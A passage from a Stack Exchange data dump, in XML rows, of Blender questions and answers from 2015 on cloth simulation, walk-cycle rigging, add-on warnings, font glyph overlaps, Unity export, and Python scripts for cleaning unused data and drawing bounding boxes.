cloth simulation happens before the second layer of geometry is created:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n00T8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n00T8.png&quot; alt=&quot;move mod&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, if for some reason you need to take the solidified geometry into account for the cloth simulation, keep the Cloth modifier at the bottom and make sure &lt;em&gt;Self Collision&lt;/em&gt; is enabled and uses a high enough quality to avoid instability:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ytRFq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytRFq.png&quot; alt=&quot;cloth self collision&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-08-13T08:53:36.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35628" PostTypeId="1" AcceptedAnswerId="35631" CreationDate="2015-08-13T09:21:34.420" Score="1" ViewCount="214" Body="&lt;p&gt;It's obvious not right when both arms move backward. There are some little 'Khực khực' there. Oh sorry I could only describe that in my language LOL.&#xA;   Anyways, that's like some robotic displacement causing false action (false movement?). Oh just take a look in the blend. file here LOL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/413/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=413&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-08-13T10:26:26.657" Title="Little problem with arm movement in my character's walk cycle" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35629" PostTypeId="2" ParentId="35615" CreationDate="2015-08-13T09:36:38.627" Score="3" Body="&lt;p&gt;Even if you solve the UTF-8 Warning, the other warnings will not disappear -- but there's no reason to worry about them: &lt;em&gt;here's why:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The warning icons to the right of those add-ons are benign and intentionally added by the authors of those add-ons to warn users about something -- but they have always been there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been pointed out above, but it's worth a mention and a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9O2P1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9O2P1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addons can define if they should be displayed with warning icons, this is to indicate to the user that there's some remaining work to be done on the addons. The message about the UTF-8 isn't caused by something that also causes those warnings. I have them too and my Blender works fine, and those warnings don't affect any part of Blender other than to give that indication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the UTF-8 warning uses the same icon doesn't mean that it's the cause of those warning icons on the other addons, though it's understandable that you might think so. This is merely a matter of 'icon reuse'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for instance the &lt;code&gt;Render: Network Render&lt;/code&gt; Addon. An addon you are not likely to ever use unless you have a network. In its source code (in its &lt;code&gt;__init__.py&lt;/code&gt; file) it has a short manifest which we call a &lt;code&gt;bl_info dictionary&lt;/code&gt;. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Network Renderer&quot;,&#xA;    &quot;author&quot;: &quot;Martin Poirier&quot;,&#xA;    &quot;version&quot;: (1, 8),&#xA;    &quot;blender&quot;: (2, 60, 0),&#xA;    &quot;location&quot;: &quot;Render &amp;gt; Engine &amp;gt; Network Render&quot;,&#xA;    &quot;description&quot;: &quot;Distributed rendering for Blender&quot;,&#xA;    &quot;warning&quot;: &quot;Stable but still work in progress&quot;,&#xA;    &quot;wiki_url&quot;: &quot;http://wiki.blender.org/index.php/Doc:2.5/Manual/&quot;&#xA;                &quot;Render/Engines/Netrender&quot;,&#xA;    &quot;category&quot;: &quot;Render&quot;,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bl_info&lt;/code&gt; is a way for an add-on to tell Blender 'Hey! add me to the add-on list, and display this information about me`. Without that bl_info add-ons will not appear in the add-ons list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inclusion of the key / value pair &lt;code&gt;&quot;Warning&quot;:  &quot;Stable but still work in progress&quot;&lt;/code&gt; is the sole reason you see the warning icon beside that addon in your &lt;em&gt;preferences -&gt; Add-ons&lt;/em&gt; tab. All the other addons in that list that have the warning icon, has a similar entry in their &lt;code&gt;bl_info&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-20T10:39:01.323" LastActivityDate="2015-08-20T10:39:01.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35631" PostTypeId="2" ParentId="35628" CreationDate="2015-08-13T10:26:26.657" Score="2" Body="&lt;p&gt;Your arm IK control bones (Arm.L and Arm.R) are positioned too far in parts of animation, so the arms need to extend too much and are no longer bent in elbow. That causes the elbow popping in the walk cycle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the same bones are not looped, so that causes another discontinuity when looping the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keyframe these bones more carefully to not overextend the arms and loop them and the animation will be fine.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-13T10:26:26.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35632" PostTypeId="2" ParentId="32717" CreationDate="2015-08-13T10:29:11.117" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the &lt;a href=&quot;http://download.tuxfamily.org/makehuman/releases/1.0.2/blendertools-1.0.2-all.zip&quot; rel=&quot;nofollow&quot;&gt;make human blender tools&lt;/a&gt; from the make human website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the zip. It will create a &quot;blendertools&quot; folder where you opened it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the make human scene importer script:&#xA;blendertools\mhx_importer\import_scene_mhx.py&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the plugin is installed, this command will become available to you via python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bpy.ops.import_scene.makehuman_mhx(filter_glob=&quot;*.mhx&quot;, filepath=&quot;&quot;, scale=1, advanced=False, enforce=True, mesh=True, proxy=True, cage=False, clothes=True, shapekeys=True, drivers=False, diamond=False, rigify=True)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-13T10:29:11.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35633" PostTypeId="1" AcceptedAnswerId="35647" CreationDate="2015-08-13T10:54:55.103" Score="4" ViewCount="7317" Body="&lt;p&gt;On my Mac I am used to select an edge loop with Alt RMB. Suddenly it does not work in the blender file I am working on. If I open a new file, create some loops in a cube and ... I can select an edge loop with ALT RMB. Why is ALT RMB not working in this one blender file &lt;a href=&quot;https://www.dropbox.com/s/xwr1nvkz2wq5b7u/appetizer-series.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="47" LastEditDate="2015-08-13T14:12:47.313" LastActivityDate="2019-10-06T09:12:09.290" Title="Can't select Edge loop (Alt + RMB is failing )" Tags="&lt;selection-tools&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35634" PostTypeId="1" AcceptedAnswerId="35636" CreationDate="2015-08-13T11:09:30.523" Score="5" ViewCount="1046" Body="&lt;p&gt;I'm using the font 'Birth of a Hero' and suddenly the capital 'T' is partially gone which isn't meant to happen. Not really sure why this is happening. It looks fine in normal documents and both photoshop and illustrator, just Blender doesn't seem to load it properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Blender loads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/47rCA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/47rCA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it's meant to look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lnmpn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnmpn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2015-10-28T15:42:22.127" Title="Blender has loaded a letter/font wrong" Tags="&lt;text-object&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35635" PostTypeId="1" AcceptedAnswerId="35643" CreationDate="2015-08-13T11:31:31.847" Score="1" ViewCount="532" Body="&lt;p&gt;I'm trying to use Blender as assets creation tool for my own stuff. I added width and height custom properties on objects, and I want the bounding box to be shown in the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I achieved this by adding non-selectable objects and meshes, but they would be still on the &lt;em&gt;Outliner&lt;/em&gt; view, which may confuse my users. So is there any way to draw lines in the 3D view without using meshes? &lt;/p&gt;&#xA;" OwnerUserId="15992" LastActivityDate="2015-08-13T13:23:07.623" Title="Is there any way to plotting in 3D viewer without using object and mesh?" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35636" PostTypeId="2" ParentId="35634" CreationDate="2015-08-13T11:40:44.417" Score="7" Body="&lt;p&gt;Similar to what happens here: &lt;a href=&quot;https://blender.stackexchange.com/questions/2720/text-objects-are-messed-up-when-using-offset&quot;&gt;Text objects are messed up when using Offset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(October 2015)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most font rendering engines cope with this OK, currently Blender doesn't, but maybe not for very satisfying reasons and perhaps it needs some explanation. There are reasons to consider this a flaw in Blender's Glyph conversion, but at the same time the Font Designer made a decision to release a font which has a few technical flaws (like overlaps and intersections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text Objects can be thought of as a specialized case of the Curve object, and Curve data can contain multiple disjoint parts called &lt;em&gt;Splines&lt;/em&gt; or in typographic lingo &quot;&lt;em&gt;Elements&lt;/em&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a Text Object using that font, add the &lt;em&gt;capital T&lt;/em&gt; glyph.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Object Mode&lt;/em&gt; convert the Text Object to a Curve to analyze the splines/elements of the glyph. (Alt+C). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you'll see the &lt;em&gt;elements&lt;/em&gt; that make up this letter. These are the curves as the typographer would see them (more or less).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lbthg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lbthg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;scanfill algorithm&lt;/em&gt; is what converts 2d outlines taken from the curves to 2d surfaces. The problem with this font is that some parts self intersect (they overlap, and cross a boundary), the algorithm that decides whether to subtract an element is oblivious to the intention of the Glyph designer, and seems to be oblivious to the concept of element direction in Glyphs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the intention was a Boolean &lt;em&gt;AND&lt;/em&gt; (right), that's not what happens, we get a Boolean &lt;em&gt;XOR&lt;/em&gt; difference (left):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NcOnx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NcOnx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overlap, is a technique often used to quickly create sharp transitions. Some consider it bad practice in Glyph design, Font Editing software will even warn about it before saving. But people like convenience, and overlaps can be taken advantage of, see below: Notice that the direction of the element determines whether it is additive or subtractive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7VKgA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7VKgA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;here's the same glyph rendered in Blender: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/1aKRD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1aKRD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Technically this is a valid glyph, in the same sense that it's legal to drive through an orange light we are recommended to avoid doing that. Blender doesn't recognize element 'direction' as a factor in whether it should &lt;em&gt;subtract&lt;/em&gt; or &lt;em&gt;add&lt;/em&gt; Curve elements, until that's implemented you will get the occasional unexpected font-rendering.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Back to your font.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Below I selected the left most element and translated it away in the Y direction so you can see where the overlap was happening. If you do the same and move it slowly you'll see how the scanfill algorithm responds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MOTyJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MOTyJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;That's all great, but How do I make this work in Blender?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit the Curve directly&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://i.stack.imgur.com/3bvuL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3bvuL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;- convert to Curve&lt;br&gt;&#xA;- of the letter in question, select all elements and individually switch off their Cycle U toggle.&lt;br&gt;&#xA;- then move around the handles/anchors that overlap and join them in the appropriate places&lt;br&gt;&#xA;- then finally once all of the major overlaps are fixed, then press toggle   Cyclic back on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit the font!&lt;/strong&gt;&lt;br&gt;&#xA;It's a &lt;code&gt;.ttf&lt;/code&gt;, on linux you can use the free &lt;em&gt;FontForge&lt;/em&gt; and cut away the overlaps. (beyond the scope of Blender.StackExchange)&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-10-28T15:42:22.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35637" PostTypeId="2" ParentId="5300" CreationDate="2015-08-13T11:52:24.540" Score="21" Body="&lt;p&gt;running this code will do it :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for material in bpy.data.materials:&#xA;    if not material.users:&#xA;        bpy.data.materials.remove(material)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to clarify what this code does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for material in bpy.data.materials:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line iterates over all data blocks in the &quot;materials&quot; data set. Blender has data sets like these for various types of objects;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects&#xA;bpy.data.textures&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's worth exploring these as they are Blender's way of exposing the data you're looking for in an easy-to-get-to data structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if not material.users:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line basically asks whether the &quot;users&quot; array in the &quot;material&quot; data block is not valid, aka, whether it's empty. If it is, this statement will return True;  in other words this material is not being used by any other data blocks and is thus not fulfilling any purpose in the file other than take up space. This would be the same condition as would be fulfilled if you &quot;clear users&quot; and then save and re-open a file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials.remove(material)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;removes the given data block from the materials array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hopes this little elaboration helped :)&lt;/p&gt;&#xA;" OwnerUserId="16384" LastEditorUserId="16384" LastEditDate="2016-08-14T22:12:31.960" LastActivityDate="2016-08-14T22:12:31.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35638" PostTypeId="2" ParentId="100" CreationDate="2015-08-13T11:56:36.740" Score="14" Body="&lt;p&gt;if you want to do it via code, you could take a couple of approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this removes all images in the blender file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# iterate over all images in the file&#xA;for image in bpy.data.images:&#xA;&#xA;    # don't do anything if the image has any users.&#xA;    if image.users:&#xA;        continue&#xA;&#xA;    # remove the image otherwise&#xA;    bpy.data.images.remove(image)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also have the option to make this into a method that you can just pass the image to that you want to delete:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def clean_data_block(block):&#xA;    # iterate over every entry in the data block&#xA;    for data in block:&#xA;&#xA;        # if the data block has any users, don't do anything&#xA;        if data.users:&#xA;            continue&#xA;&#xA;        # otherwise remove the data block&#xA;        block.remove(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this case you would clean the images that were not used by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clean_data_block(bpy.data.images)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16384" LastEditorUserId="16384" LastEditDate="2018-11-07T17:08:50.000" LastActivityDate="2018-11-07T17:08:50.000" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="35639" PostTypeId="1" CreationDate="2015-08-13T11:59:17.513" Score="2" ViewCount="67" Body="&lt;p&gt;I want to generate in Blender Game Engine at a runtime, multiples objects with a diferents names that I can select them individuals. Is it possible? If yes, how can  I make it?&lt;/p&gt;&#xA;" OwnerUserId="16389" LastActivityDate="2016-01-15T08:37:34.453" Title="Is it possible to clone objects with a name diferent in blender at a runtime?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35640" PostTypeId="1" AcceptedAnswerId="35650" CreationDate="2015-08-13T12:53:00.247" Score="4" ViewCount="2256" Body="&lt;p&gt;&lt;em&gt;New to Blender and just can't find a way to do this after a few days of googling. Any help much appreciated!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to link the value of one object's animation Channel (for example the X-Location keyframe values) to another object (for example its Y location)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to &lt;em&gt;copy&lt;/em&gt; the keyframes from one to the other. I would like the two to be dynamically linked so that moving the first object (adding keyframes) along the X axis automatically moves/adds keyframes to the second object along its Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would also like to be able to alter the keyframe values being linked - so for example, Object1's X Location value when linked to Object2's Y Location value might be offset by 50 and inverted about the y-axis [ Object2_YPos = -(Object1_XPos+50) ]. Or the difference between Object1's X and Y co-ordinates would dictate the size of Object2 [ Object2_Scale = Object2_Scale*(Object1_YPos-Object1_XPos) ] that kind of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any of you who know Adobe AfterFX, I'm hoping to do something like linking with expressions:&#xA;&lt;a href=&quot;https://helpx.adobe.com/after-effects/using/expression-basics.html#edit_an_expression_with_the_pick_whip&quot; rel=&quot;nofollow&quot;&gt;https://helpx.adobe.com/after-effects/using/expression-basics.html#edit_an_expression_with_the_pick_whip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The big picture&lt;/strong&gt;: I have complex data imported from a CSV file that includes a long list of three data points over time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0,10,5,120&#xA;2,20,5,100&#xA;3,30,15,120&#xA;etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've successfully imported this data and added it to my objects as keyframes. The first value is the frame number, then the different objects use each of the following values along different axis. So Object1 reads the CSV as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frameNum,xLoc,yLoc,zLoc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and Object2 uses a slightly different import template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frameNum,yLoc,xLoc,zLoc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I end up with the same data in two different Actions which seems inefficient (I have a lot of data points; 1 per frame over 50000+ frames). Is it possible to have an Action that exists once in the Dope Sheet editor but which is used in different ways by different objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: As I typed this, 'Similar Questions' started to appearing which seem to suggest that the answer might be Drivers and/or &lt;a href=&quot;http://animation-nodes-documentation.readthedocs.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;animation nodes&lt;/a&gt;. All very new to me, so I'll go and investigate and post a reply to myself if I solve it. In the meanwhile, can anyone help point me in the right direction? I'll be very grateful for any help, advice and/or exemplar blender files as I find the docs a little cryptic at times :)&lt;/p&gt;&#xA;" OwnerUserId="16168" LastEditorUserId="241" LastEditDate="2015-08-13T12:58:58.870" LastActivityDate="2015-08-13T14:54:54.163" Title="Link one object's property to another object's different property" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35641" PostTypeId="1" CreationDate="2015-08-13T13:15:52.343" Score="3" ViewCount="209" Body="&lt;p&gt;I haven't found a tutorial about it and I'm completely lost. I've applied materials for assets I've made, never touched the Texture properties however, but the materials wont ever follow. I've read things on the internet where people say that it's just about drag and drop the textures. But I haven't found any that I used in Blender...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really annoying when you've spent hours on making something, and then not seeing it as it's done in the game is annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just stupid, or can you find a solution to it? Because I would be more than thankful for it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="16392" LastActivityDate="2018-08-28T21:38:38.383" Title="Blender assign material to object -&gt; Unity" Tags="&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35642" PostTypeId="1" CreationDate="2015-08-13T13:17:32.220" Score="2" ViewCount="63" Body="&lt;p&gt;I've imported models from Blender to Unity in .FBX and the model in the game makes the character bounce/jump heavily, and it makes the game unplayable.&lt;/p&gt;&#xA;" OwnerUserId="15933" LastActivityDate="2015-08-13T13:17:32.220" Title="Character bouncing on models" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35643" PostTypeId="2" ParentId="35635" CreationDate="2015-08-13T13:23:07.623" Score="3" Body="&lt;p&gt;I assume you refer to axis-aligned bounding boxes (AABB), because regular bounding boxes are a built-in feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use draw handlers to draw in supported spaces with OpenGL (&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bgl.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bgl module&lt;/a&gt;). &lt;code&gt;draw_handler_add()&lt;/code&gt; is not documented, but you can find examples in &lt;em&gt;Text Editor&lt;/em&gt;, &lt;em&gt;Templates&lt;/em&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a modified version of &lt;a href=&quot;https://blender.stackexchange.com/a/7173/1363&quot;&gt;my bound box draw handler&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;from mathutils import Vector&#xA;&#xA;def draw_poll(ob):&#xA;    return ob is not None and ob.type in ('MESH', 'CURVE', 'SURFACE', 'META', 'FONT')&#xA;&#xA;def draw_callback_view(self, context):&#xA;&#xA;    for ob in context.selected_objects:&#xA;        if not draw_poll(ob):&#xA;            return&#xA;&#xA;        mat = ob.matrix_world&#xA;&#xA;        # 50% alpha, 2 pixel width line&#xA;        bgl.glEnable(bgl.GL_BLEND)&#xA;        bgl.glColor4f(1.0, 0.0, 0.0, 0.5)&#xA;        bgl.glLineWidth(2)&#xA;&#xA;        bbox = [mat * Vector(b) for b in ob.bound_box]&#xA;&#xA;        min_x = min(b.x for b in bbox)&#xA;        max_x = max(b.x for b in bbox)&#xA;        min_y = min(b.y for b in bbox)&#xA;        max_y = max(b.y for b in bbox)&#xA;        min_z = min(b.z for b in bbox)&#xA;        max_z = max(b.z for b in bbox)&#xA;&#xA;        if ob == context.object:&#xA;            bgl.glColor4f(*self._color1)&#xA;        else:&#xA;            bgl.glColor4f(*self._color2)&#xA;&#xA;        bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;        bgl.glVertex3f(min_x, min_y, min_z)&#xA;        bgl.glVertex3f(min_x, max_y, min_z)&#xA;        bgl.glVertex3f(max_x, max_y, min_z)&#xA;        bgl.glVertex3f(max_x, min_y, min_z)&#xA;        bgl.glVertex3f(min_x, min_y, min_z)&#xA;        bgl.glVertex3f(min_x, min_y, max_z)&#xA;        bgl.glVertex3f(min_x, max_y, max_z)&#xA;        bgl.glVertex3f(max_x, max_y, max_z)&#xA;        bgl.glVertex3f(max_x, min_y, max_z)&#xA;        bgl.glVertex3f(min_x, min_y, max_z)&#xA;        bgl.glEnd()&#xA;&#xA;        bgl.glBegin(bgl.GL_LINES)&#xA;        bgl.glVertex3f(max_x, min_y, min_z)&#xA;        bgl.glVertex3f(max_x, min_y, max_z)&#xA;        bgl.glVertex3f(min_x, max_y, min_z)&#xA;        bgl.glVertex3f(min_x, max_y, max_z)&#xA;        bgl.glVertex3f(max_x, max_y, min_z)&#xA;        bgl.glVertex3f(max_x, max_y, max_z)&#xA;        bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type in {'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            self._handle = None&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            theme = context.user_preferences.themes[0]&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_view, args, 'WINDOW', 'POST_VIEW')&#xA;            self._color1 = theme.view_3d.object_active[:] + (0.5,)&#xA;            self._color2 = theme.view_3d.object_selected[:] + (0.5,)&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    